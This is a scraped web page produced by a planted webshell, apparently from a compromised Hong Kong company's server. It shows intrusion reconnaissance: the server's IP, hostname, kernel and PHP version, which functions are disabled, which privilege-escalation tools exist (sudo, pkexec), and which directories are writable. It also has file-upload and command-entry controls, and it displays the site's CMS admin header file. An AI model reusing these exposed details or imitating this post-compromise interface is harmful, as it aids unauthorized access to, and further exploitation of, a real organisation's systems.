403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/onegolf/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/onegolf/webadmin//html_head.php
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Content Management System (CMS) - Powered by One Solution Limited</title>
<script type="text/javascript" src="js/jquery-1.11.1.min.js"></script>
<script type="text/javascript" src="js/jquery-migrate-1.2.1.min.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.11.4/jquery-ui.min.js"></script>
<link type="text/css" href="js/jquery-ui-1.11.4/jquery-ui.css" rel="stylesheet"/>
<link rel="stylesheet" href="js/jquery-ui-1.11.4/jquery-ui.theme.min.css">
<link rel="stylesheet" type="text/css" href="css/style.css"/>

<!-- Main Menu -->
<link rel="stylesheet" type="text/css" href="css/menu.css"/>
<script type="text/javascript" src="js/ddaccordion.js"></script>
<script type="text/javascript" src="js/menuddaccordion.js"></script>
<!-- End Main Menu -->

<script type="text/javascript">

	//check file size
	$(function () {

		$("input[type='file']").on("change", function () {

			if(this.files[0].type != "image/jpeg" && this.files[0].type != "image/png" && this.files[0].type != "image/gif"){
				$(this).val("");
				alert("圖片格式不正確。");
				return;
			}

			if(this.files[0].size > (1024 * 1024 * 10)){
				$(this).val("");
				alert("圖片檔案大小必須小於 10MB。");
				return;
			}

			var total_file_size = 0;
			$("input[type='file']").each(function () {

				if($(this).val() != ""){
					total_file_size += parseFloat(this.files[0].size);
				}else{
					total_file_size += 0;
				}
			});

			if(parseFloat(total_file_size) > 1024 * 1024 * 10){

				$("input[type='file']").each(function () {
					$(this).val("");
				});

				alert("所有圖片檔案大小必須小於 10MB。");
			}
		});
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit